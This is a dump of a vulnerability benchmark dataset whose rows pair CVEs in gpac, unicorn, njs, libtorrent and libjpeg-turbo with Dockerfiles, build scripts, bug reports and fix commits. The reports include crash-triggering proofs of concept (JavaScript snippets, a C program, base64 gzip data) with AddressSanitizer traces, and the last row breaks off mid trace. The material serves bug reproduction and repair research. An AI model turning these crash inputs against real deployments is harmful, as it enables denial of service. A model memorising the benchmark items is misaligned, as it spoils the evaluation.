instance_id
stringlengths
17
28
repo
stringclasses
85 values
base_commit
stringlengths
40
40
date
timestamp[ns]date
2011-05-04 02:41:45
2025-11-08 00:00:00
project_name
stringclasses
85 values
lang
stringclasses
3 values
dockerfile
stringlengths
178
1.15k
build_sh
stringclasses
102 values
work_dir
stringclasses
85 values
sanitizer
stringclasses
4 values
bug_description
stringlengths
905
163k
additional_files
listlengths
0
6
candidate_fixes
listlengths
0
321
gpac.cve-2023-2838
gpac/gpac
ba59206b3225f0e8e95a27eff41cb1c49ddf9a37
2023-05-22T10:37:24
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout ba59206b3225f0e8e95a27eff41cb1c49ddf9a37 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/711e0988-5345-4c01-a2fe-1179604dd07f ## Description: Environment Distributor ID: Debian Description: Debian GNU/Linux bookworm/sid Release: n/a Codename: bookworm Version I checked against the latest release as of 05/18/23 the current master branch at commit a6ae93532ea5615c876c81a6580badbfa01d4383 . Description This AddressSanitizer output is indicating that an out of bounds read occurred in the function gf_filter_get_stats at line 4149 in the file filter_session.c. A bit of debugging leads me to think that the loop at line line 4131 is improperly bounded since at the crash, the loop iterator i equals 0xffff4f07 for (i=0; i<f->num_input_pids; i++) POC AFL_MAP_SIZE=260000 ./MP4Box -dash 1000 ./crash_file POC File ASAN [Dasher] No template assigned, using $File$_dash$FS$$Number$ Failed to connect filter fin PID crash_file to filter rfmpgvid: Feature Not Supported Blacklisting rfmpgvid as output from fin and retrying connections [MP4Mux] muxing codecID 0 not yet implemented - patch welcome Failed to connect filter dasher PID crash_file to filter mp4mx: Feature Not Supported Blacklisting mp4mx as output from dasher and retrying connections AddressSanitizer:DEADLYSIGNAL ================================================================= ==2980979==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000009c (pc 0x7ffff6d5968a bp 0x0c2600000200 sp 0x7fffffff4f90 T0) ==2980979==The signal is caused by a READ memory access. ==2980979==Hint: address points to the zero page. #0 0x7ffff6d5968a in gf_filter_get_stats /path/to/gpac/src/filter_core/filter_session.c:4149:32 #1 0x7ffff660b68b in on_dasher_event /path/to/gpac/src/media_tools/dash_segmenter.c:501:8 #2 0x7ffff6d51fc9 in gf_fs_ui_event /path/to/gpac/src/filter_core/filter_session.c:4180:8 #3 0x7ffff6d831da in gf_filter_update_status /path/to/gpac/src/filter_core/filter.c:4738:2 #4 0x7ffff6f74b0a in filein_process /path/to/gpac/src/filters/in_file.c:699:3 #5 0x7ffff6d74d05 in gf_filter_process_task /path/to/gpac/src/filter_core/filter.c:2894:7 #6 0x7ffff6d4153c in gf_fs_thread_proc /path/to/gpac/src/filter_core/filter_session.c:1962:3 #7 0x7ffff6d3fd2f in gf_fs_run /path/to/gpac/src/filter_core/filter_session.c:2264:3 #8 0x7ffff660245a in gf_dasher_process /path/to/gpac/src/media_tools/dash_segmenter.c:1236:6 #9 0x5555556c15fc in do_dash /path/to/gpac/applications/mp4box/mp4box.c:4825:15 #10 0x5555556b2a8e in mp4box_main /path/to/gpac/applications/mp4box/mp4box.c:6236:7 #11 0x7ffff5846189 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #12 0x7ffff5846244 in __libc_start_main csu/../csu/libc-start.c:381:3 #13 0x5555555dad30 in _start (/path/to/gpac/new_pull_2_build/bin/gcc/MP4Box+0x86d30) (BuildId: 764c86f2d59b4db3d4590a720eca33bd143620a7) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /path/to/gpac/src/filter_core/filter_session.c:4149:32 in gf_filter_get_stats ==2980979==ABORTING Impact out of bounds read can cause a crash which will affect the system availability or potentially leak memory from the application. Relevant Links: https://github.com/gpac/gpac https://drive.google.com/file/d/1M1NO5DjD_iUmWVP5OzYkmM8npysEDpdd https://github.com/gpac/gpac/blob/a6ae93532ea5615c876c81a6580badbfa01d4383/src/filter_core/filter_session.c#L4131-L4149
[]
[ { "sha": "711e0988", "url": null }, { "sha": "c88df2e202efad214c25b4e586f243b2038779ba", "url": "https://github.com/gpac/gpac/commit/c88df2e202efad214c25b4e586f243b2038779ba" }, { "sha": "a6ae93532ea5615c876c81a6580badbfa01d4383", "url": "https://github.com/gpac/gpac/commit/a6ae93532ea5615c876c81a6580badbfa01d4383" }, { "sha": "764c86f2d59b4db3d4590a720eca33bd143620a7", "url": "https://github.com/gpac/gpac/commit/764c86f2d59b4db3d4590a720eca33bd143620a7" } ]
unicorn.cve-2022-29694
unicorn-engine/unicorn
cf18982e1c29d354805863a8e017cddd974e3114
2022-04-16T11:19:41
unicorn
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y cmake pkg-config make python3 RUN git clone https://github.com/unicorn-engine/unicorn unicorn RUN git -C unicorn checkout cf18982e1c29d354805863a8e017cddd974e3114 WORKDIR $SRC/unicorn COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake .. -DCMAKE_BUILD_TYPE=Debug -DBUILD_SHARED_LIBS=off -DUNICORN_FUZZ=1 make -j4
/src/unicorn
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/unicorn-engine/unicorn/issues/1588 ## Description: Issue: unicorn-engine/unicorn#1588 Title: Null pointer dereference in `qemu_ram_free` when HVA malloc fails State: closed Created by: liyansong2018 Created at: 2022-04-12 12:06:38+00:00 Issue Body: When we try to use `uc_mem_map` to apply for super large memory, memory allocation in HAV fails, but succeeds in GVA. This inconsistency leads to null pointer dereference in `us_ close` release about the ram block requested by `uc_mem_map`. PoC ```c int main(int argc, char **argv) { uc_engine *uc; uc_err err; err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc); if (err != UC_ERR_OK) { printf("Failed on uc_open() with error returned: %u %s\n", err, uc_strerror(err)); return -1; } err = uc_mem_map(uc, 0x0, 0xfffffffff000, UC_PROT_ALL); if (err != UC_ERR_OK) { printf("Failed on uc_open() with error returned: %u %s\n", err, uc_strerror(err)); //return -1; } uc_close(uc); return 0; } ``` output ```shell $ ./poc_test AddressSanitizer:DEADLYSIGNAL ================================================================= ==36945==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f6f0c61dc5f bp 0x7ffd6adc9320 sp 0x7ffd6adc9310 T0) ==36945==The signal is caused by a WRITE memory access. ==36945==Hint: address points to the zero page. #0 0x7f6f0c61dc5f in qemu_ram_free_x86_64 /home/lys/Documents/my/unicorn/qemu/exec.c:1133 #1 0x7f6f0c624483 in memory_region_destructor_ram /home/lys/Documents/my/unicorn/qemu/softmmu/memory.c:882 #2 0x7f6f0c62269f in memory_free_x86_64 /home/lys/Documents/my/unicorn/qemu/softmmu/memory.c:182 #3 0x7f6f0c6169da in release_common /home/lys/Documents/my/unicorn/qemu/unicorn_common.h:62 #4 0x7f6f0c616cd3 in x86_release /home/lys/Documents/my/unicorn/qemu/target/i386/unicorn.c:47 #5 0x7f6f0c60e4c5 in uc_close /home/lys/Documents/my/unicorn/uc.c:419 #6 0x55955d1423e1 in main /home/lys/Documents/unitest/poc_test.c:60 #7 0x7f6f0c0d47ec in __libc_start_main ../csu/libc-start.c:332 #8 0x55955d142129 in _start (/home/lys/Documents/unitest/poc_test+0x1129) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/lys/Documents/my/unicorn/qemu/exec.c:1133 in qemu_ram_free_x86_64 ==36945==ABORTING ``` Comments: Comment by liyansong2018 on 2022-04-12 12:15:16+00:00: There are many ways to fix this bug. I will pull request with a simple patch later. --- Comment by wtdcode on 2022-04-16 17:18:22+00:00: Fixed in 3d3deac5e6d38602b689c4fef5dac004f07a2e63 Commit References: 3d3deac5e6d38602b689c4fef5dac004f07a2e63
[]
[ { "sha": "3d3deac5e6d38602b689c4fef5dac004f07a2e63", "url": "https://github.com/unicorn-engine/unicorn/commit/3d3deac5e6d38602b689c4fef5dac004f07a2e63" }, { "sha": "31389e59457f304be3809f9679f91a42daa7ebaa", "url": null }, { "sha": "6a879a082d4d67a5d13f1233ae0334cde0a7f844", "url": null }, { "sha": "f7b5b69cb44036fe1bc5f07aae90f8050fe65486", "url": "https://github.com/unicorn-engine/unicorn/commit/f7b5b69cb44036fe1bc5f07aae90f8050fe65486" }, { "sha": "ae77335a70bdab8adae2ffe06212c17d171e00cb", "url": "https://github.com/unicorn-engine/unicorn/commit/ae77335a70bdab8adae2ffe06212c17d171e00cb" }, { "sha": "b5ea277900d3f9aeae0ab15aa65c525955540a36", "url": "https://github.com/unicorn-engine/unicorn/commit/b5ea277900d3f9aeae0ab15aa65c525955540a36" } ]
njs.cve-2022-34031
nginx/njs
37dc1e788060ba17cdcd6e3fd2695177c9d7aa38
2022-06-20T23:38:49
njs
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev RUN git clone https://github.com/nginx/njs njs RUN git -C njs checkout 37dc1e788060ba17cdcd6e3fd2695177c9d7aa38 WORKDIR $SRC/njs COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure make -j$(nproc) clean make -j$(nproc) all make install -j$(nproc) sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config ./configure make njs_fuzzer -j$(nproc) mkdir -p $SEED_CORPUS_PATH
/src/njs
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/nginx/njs/issues/523 ## Description: Issue: nginx/njs#523 Title: SEGV src/njs_value_conversion.h:17:9 in njs_value_to_number State: closed Created by: dramthy Created at: 2022-06-01 07:38:49+00:00 Labels: bug, fuzzer Issue Body: Environment ``` Commit : c62a9fb92b102c90a66aa724cb9054183a33a68c Version : 0.7.5 Build : ./configure --cc=clang --address-sanitizer=YES make ``` Proof of concept ``` // Minimizing 74595E5A-F4AD-43DB-A4E9-34F2D366AD8A function placeholder(){} function main() { var v0 = /gL8?/; var v1 = {}; var v2 = [v1,v1,v0]; function v4(v5) { v2[1866532165] = undefined; } function v6(v7,v8) { function v10(v11) { v11[-4294967297] = Map; } var v13 = new Uint16Array(v2); } v1.valueOf = v4; var v15 = typeof Map; var v17 = typeof Map; var v19 = new Promise(v6); } main(); // CRASH INFO // ========== // TERMSIG: 11 // STDERR: ``` Stack dump ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==7855==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x00000063545b bp 0x7ffeac888710 sp 0x7ffeac8884e0 T0) ==7855==The signal is caused by a READ memory access. ==7855==Hint: address points to the zero page. #0 0x63545b in njs_value_to_number /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value_conversion.h:17:9 #1 0x63545b in njs_typed_array_alloc /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_typed_array.c:171:19 #2 0x63a56b in njs_typed_array_constructor /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_typed_array.c:229:13 #3 0x575aae in njs_function_native_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:728:11 #4 0x573e1c in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:766:16 #5 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23 #6 0x574c72 in njs_function_lambda_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:693:11 #7 0x573b65 in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:769:16 #8 0x573b65 in njs_function_call2 /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:592:11 #9 0x648ed3 in njs_function_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.h:178:12 #10 0x648ed3 in njs_promise_constructor_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_promise.c:214:11 #11 0x648ed3 in njs_promise_constructor /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_promise.c:164:15 #12 0x575aae in njs_function_native_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:728:11 #13 0x573e1c in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:766:16 #14 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23 #15 0x574c72 in njs_function_lambda_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:693:11 #16 0x573e4f in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:769:16 #17 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23 #18 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11 #19 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19 #20 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11 #21 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15 #22 0x7f8daaa33082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee) #23 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value_conversion.h:17:9 in njs_value_to_number ==7855==ABORTING ``` Credit dramthy(@topsec alpha) Commit References: c62a9fb92b102c90a66aa724cb9054183a33a68c 1878e6b475720c7c51969e69ab2d276fae6d1dee
[]
[ { "sha": "c62a9fb92b102c90a66aa724cb9054183a33a68c", "url": "https://github.com/nginx/njs/commit/c62a9fb92b102c90a66aa724cb9054183a33a68c" }, { "sha": "1878e6b475720c7c51969e69ab2d276fae6d1dee", "url": "https://github.com/nginx/njs/commit/1878e6b475720c7c51969e69ab2d276fae6d1dee" }, { "sha": "86c2c8270240d0a7a1bc4757fd2010fd989e8037", "url": "https://github.com/nginx/njs/commit/86c2c8270240d0a7a1bc4757fd2010fd989e8037" } ]
libtorrent.cve-2016-7164
arvidn/libtorrent
2921caf95e851a7918026dc159b1717ef5045f30
2016-04-10T19:46:51
libtorrent
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make wget libssl-dev libgeoip-dev pkg-config RUN git clone https://github.com/arvidn/libtorrent libtorrent RUN git -C libtorrent checkout 2921caf95e851a7918026dc159b1717ef5045f30 WORKDIR $SRC/libtorrent COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake -DBUILD_SHARED_LIBS=Off .. make -j$(nproc)
/src/libtorrent
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/arvidn/libtorrent/issues/1021 ## Description: Issue: arvidn/libtorrent#1021 Title: "Segmentation fault" (possible DoS) when parsing compressed data with function "inflate_gzip" State: closed Created by: sz3n Created at: 2016-08-21 12:56:33+00:00 Issue Body: libtorrent version (or branch): 1.1.0.0 platform/architecture: Ubuntu 14.04LTS x86_64 compiler and compiler version: gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) The issue was found with "afl fuzzer" while executing a modified version of the "test_gzip" testsuite with the following input data(displayed in base64 format): ``` H4sIAAjjYGJiWXWAAAAAYFlZWVlZWV34+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4AP4I DAgLy5kMWQP/YmIA/wUAmQxZBf9iYgD/BQD/ALy8IAAAl5eXl5eXl5eXl5eXl5eXAABZWVlZWVlZ Xfj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+PgA/ggMCAvLmQxZA/9iYgD/BQCZDFkF/2Ji AP8FAP8AvLwgAACXl5eXl5eXl5eXl5eXl5cAAFlZWVlZWVlZAPoIDAgLy5kMWQX/YmIA/wUAWVlZ WVlZWVlZAID//1lZWVlZWVkA+ggMCAvLmQxZBf9iYgD/BQBZWVlZWVlZWVkAgP//YmJiEARkQPZZ WVlZWQwMDIsIAEQ= ``` A segmentation fault signal was captured while running: `./test_gzip gzip_data` The output from ASAN: ``` ASAN:SIGSEGV ================================================================= ==28954==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000048cb19 sp 0x7ffe24a458b0 bp 0x000000000000 T0) #0 0x48cb18 in construct(huffman*, short*, int) /home/user/libtorrent-rasterbar-1.1.0/src/puff.cpp:365 #1 0x494c77 in dynamic /home/user/libtorrent-rasterbar-1.1.0/src/puff.cpp:693 #2 0x494c77 in puff(unsigned char*, unsigned int*, unsigned char const*, unsigned int*) /home/user/libtorrent-rasterbar-1.1.0/src/puff.cpp:781 #3 0x489f71 in libtorrent::inflate_gzip(char const*, int, std::vector<char, std::allocator<char> >&, int, boost::system::error_code&) /home/user/libtorrent-rasterbar-1.1.0/src/gzip.cpp:230 #4 0x482aed in main /home/user/libtorrent-rasterbar-1.1.0/examples3/test_gzip.cpp:84 #5 0x7f8f1ede1f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44) #6 0x48025c in _start (/tmp/fuzz_gzip/test_gzip+0x48025c) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/user/libtorrent-rasterbar-1.1.0/src/puff.cpp:365 construct(huffman*, short*, int) ==28954==ABORTING ``` The issue seems to be located in the puff.cpp file inside the "construct" function. To reproduce: 1.compile "test_gzip.cpp" (here attached) 2.copy the base64 encoded data to a file (ex. gzip_data.b64) 3.decode the file to a new file ("base64 -d gzip_data.b64 > gzip_data") 3.run ./test_gzip gzip_data [test_gzip.cpp.txt](https://github.com/arvidn/libtorrent/files/428833/test_gzip.cpp.txt) Comments: Comment by arvidn on 2016-08-21 14:54:03+00:00: thanks for the report! --- Comment by arvidn on 2016-08-21 22:50:21+00:00: fix has been pushed to RC_1_1 and master --- Comment by david-geiger on 2016-09-09 06:35:55+00:00: Hi, Is also this security issue valid for branch RC_1_0 ? and others ? If yes is possible to have a patch to fix this issue in others branchs? --- Comment by arvidn on 2016-09-12 04:24:57+00:00: back-ported to RC_1_0 here: https://github.com/arvidn/libtorrent/commit/2d7d0128adafb7574d0e5a66390188cdfb8caad6 --- Comment by david-geiger on 2016-09-12 07:42:23+00:00: Thank you very much! --- Comment by pmattern on 2016-09-14 09:54:39+00:00: Wouldn't this warrant another point release of the 1.0.x series? --- Comment by arvidn on 2016-09-14 15:29:57+00:00: yeah, probably Attachments: https://github.com/arvidn/libtorrent/files/428833/test_gzip.cpp.txt Commit References: 2d7d0128adafb7574d0e5a66390188cdfb8caad6
[]
[ { "sha": "2d7d0128adafb7574d0e5a66390188cdfb8caad6", "url": "https://github.com/arvidn/libtorrent/commit/2d7d0128adafb7574d0e5a66390188cdfb8caad6" } ]
libjpeg-turbo.cve-2020-17541
libjpeg-turbo/libjpeg-turbo
6367924ac62e72fc97e3105c43eb6bd1ec8eead3
2019-12-31T00:35:08
libjpeg-turbo
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool nasm curl cmake RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo libjpeg-turbo RUN git -C libjpeg-turbo checkout 6367924ac62e72fc97e3105c43eb6bd1ec8eead3 WORKDIR $SRC/libjpeg-turbo COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu cmake . -DCMAKE_INSTALL_PREFIX=$WORK -DENABLE_STATIC:bool=on make "-j$(nproc)" make install -j$(nproc)
/src/libjpeg-turbo
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/libjpeg-turbo/libjpeg-turbo/issues/392 ## Description: Issue: libjpeg-turbo/libjpeg-turbo#392 Title: report a stack buffer overflow security issue State: closed Created by: lxkeklx Created at: 2019-12-05 13:46:42+00:00 Labels: bug, fixed Issue Body: There' s a stack buffer overflow in encode_one_block function, the backtrace of the crash point is below. The version is the latest from the git main branch: ``` ./jpegtran-static -transverse ~/Desktop/poc.jpg ``` ``` ================================================================= ==11652==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd03285910 at pc 0x00000051103c bp 0x7ffd03285700 sp 0x7ffd032856f0 WRITE of size 1 at 0x7ffd03285910 thread T0 #0 0x51103b in encode_one_block /home/zwjj/research/libjpeg-turbo/jchuff.c:600 #1 0x51103b in encode_mcu_huff /home/zwjj/research/libjpeg-turbo/jchuff.c:684 #2 0x475668 in compress_output /home/zwjj/research/libjpeg-turbo/jctrans.c:349 #3 0x4443da in jpeg_finish_compress /home/zwjj/research/libjpeg-turbo/jcapimin.c:186 #4 0x404e14 in main /home/zwjj/research/libjpeg-turbo/jpegtran.c:581 #5 0x7fbfb2ed182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x405a58 in _start (/home/zwjj/research/libjpeg-turbo/jpegtran-static+0x405a58) Address 0x7ffd03285910 is located in stack of thread T0 at offset 384 in frame #0 0x4d839f in encode_mcu_huff /home/zwjj/research/libjpeg-turbo/jchuff.c:648 This frame has 2 object(s): [32, 88) 'state' [128, 384) '_buffer' <== Memory access at offset 384 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/zwjj/research/libjpeg-turbo/jchuff.c:600 encode_one_block Shadow bytes around the buggy address: 0x100020648ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100020648ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100020648af0: 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 f4 f2 f2 0x100020648b00: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100020648b10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100020648b20: 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 0x100020648b30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100020648b40: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 0x100020648b50: 00 00 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 0x100020648b60: f4 f4 f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 0x100020648b70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==11652==ABORTING ``` [poc](https://drive.google.com/file/d/1b_1RmtUG4NYUFYAmfRpECliJ-AoIExMD/) Comments: Comment by dcommander on 2019-12-05 21:44:58+00:00: I don't believe that this issue was exploitable, since the overrun was fully contained in the stack (valgrind didn't even detect it) and since the lossless transformer is, unlike the decompressor, not generally exposed to arbitrary data exploits (i.e. it is generally used offline, not online.) Fixed and pushed.
[ { "content": "/*\n# Copyright 2016 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n################################################################################\n*/\n\n#include <stdint.h>\n#include <stdlib.h>\n\n#include <memory>\n\n#include <turbojpeg.h>\n\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n tjhandle jpegDecompressor = tjInitDecompress();\n\n int width, height, subsamp, colorspace;\n int res = tjDecompressHeader3(\n jpegDecompressor, data, size, &width, &height, &subsamp, &colorspace);\n\n // Bail out if decompressing the headers failed, the width or height is 0,\n // or the image is too large (avoids slowing down too much). Cast to size_t to\n // avoid overflows on the multiplication\n if (res != 0 || width == 0 || height == 0 || ((size_t)width * height > (1024 * 1024))) {\n tjDestroy(jpegDecompressor);\n return 0;\n }\n\n const int buffer_size = width * height * 3;\n std::unique_ptr<unsigned char[]> buf(new unsigned char[buffer_size]);\n tjDecompress2(\n jpegDecompressor, data, size, buf.get(), width, 0, height, TJPF_RGB, 0);\n\n // For memory sanitizer, test each output byte\n const unsigned char* raw_buf = buf.get();\n int count = 0;\n for( int i = 0; i < buffer_size; i++ )\n {\n if (raw_buf[i])\n {\n count ++;\n }\n }\n if (count == buffer_size)\n {\n // Do something with side effect, so that all the above tests don't\n // get removed by the optimizer.\n free(malloc(1));\n }\n\n tjDestroy(jpegDecompressor);\n\n return 0;\n}\n", "filename": "libjpeg_turbo_fuzzer.cc" } ]
[ { "sha": "c76f4a08263b0cea40d2967560ac7c21f6959079", "url": "https://github.com/libjpeg-turbo/libjpeg-turbo/commit/c76f4a08263b0cea40d2967560ac7c21f6959079" }, { "sha": "6bbc0a3c703f5ea2aecc3a6e60e8ba2935febb82", "url": "https://github.com/libjpeg-turbo/libjpeg-turbo/commit/6bbc0a3c703f5ea2aecc3a6e60e8ba2935febb82" }, { "sha": "c95141fd43d8965041924b02264b902a95c8c729", "url": "https://github.com/libjpeg-turbo/libjpeg-turbo/commit/c95141fd43d8965041924b02264b902a95c8c729" }, { "sha": "9a074be880d38c0eb29318bf1e3cde504db0a111", "url": "https://github.com/libjpeg-turbo/libjpeg-turbo/commit/9a074be880d38c0eb29318bf1e3cde504db0a111" }, { "sha": "1a1fb615db39880044b789bdb36b351865d9ec4a", "url": "https://github.com/libjpeg-turbo/libjpeg-turbo/commit/1a1fb615db39880044b789bdb36b351865d9ec4a" } ]
njs.cve-2022-32414
nginx/njs
2e00e95473861846aa8538be87db07699d9f676d
2022-04-22T19:02:36
njs
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev RUN git clone https://github.com/nginx/njs njs RUN git -C njs checkout 2e00e95473861846aa8538be87db07699d9f676d WORKDIR $SRC/njs COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure make -j$(nproc) clean make -j$(nproc) all make install -j$(nproc) sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config ./configure make njs_fuzzer -j$(nproc) mkdir -p $SEED_CORPUS_PATH
/src/njs
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/nginx/njs/issues/483 ## Description: Issue: nginx/njs#483 Title: SEGV njs_vmcode.c:802:27 in njs_vmcode_interpreter State: closed Created by: Q1IQ Created at: 2022-03-02 11:46:31+00:00 Labels: bug, fuzzer Issue Body: ### Environment ``` OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab Version : 0.7.2 Build : NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address" NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer" ``` ### Proof of concept ``` function main() { const a4 = Promise["race"](Float64Array); function a14(a15,a16) { const a17 = async (a18,a19) => { const a20 = await a15; for (const a22 in "test") { } }; const a23 = a17(); } const a24 = a14(a4); } main(); ``` ### Stack dump ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==732128==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004e3e53 bp 0x7ffe6e1f76b0 sp 0x7ffe6e1f6e80 T0) ==732128==The signal is caused by a READ memory access. ==732128==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x4e3e53 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 #1 0x6050bc in njs_await_fulfilled /home/q1iq/Documents/origin/njs_f65981b/src/njs_async.c:96:11 #2 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11 #3 0x53b029 in njs_function_frame_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:777:16 #4 0x53b029 in njs_function_call2 /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:600:11 #5 0x5f45b7 in njs_function_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.h:180:12 #6 0x5f45b7 in njs_promise_reaction_job 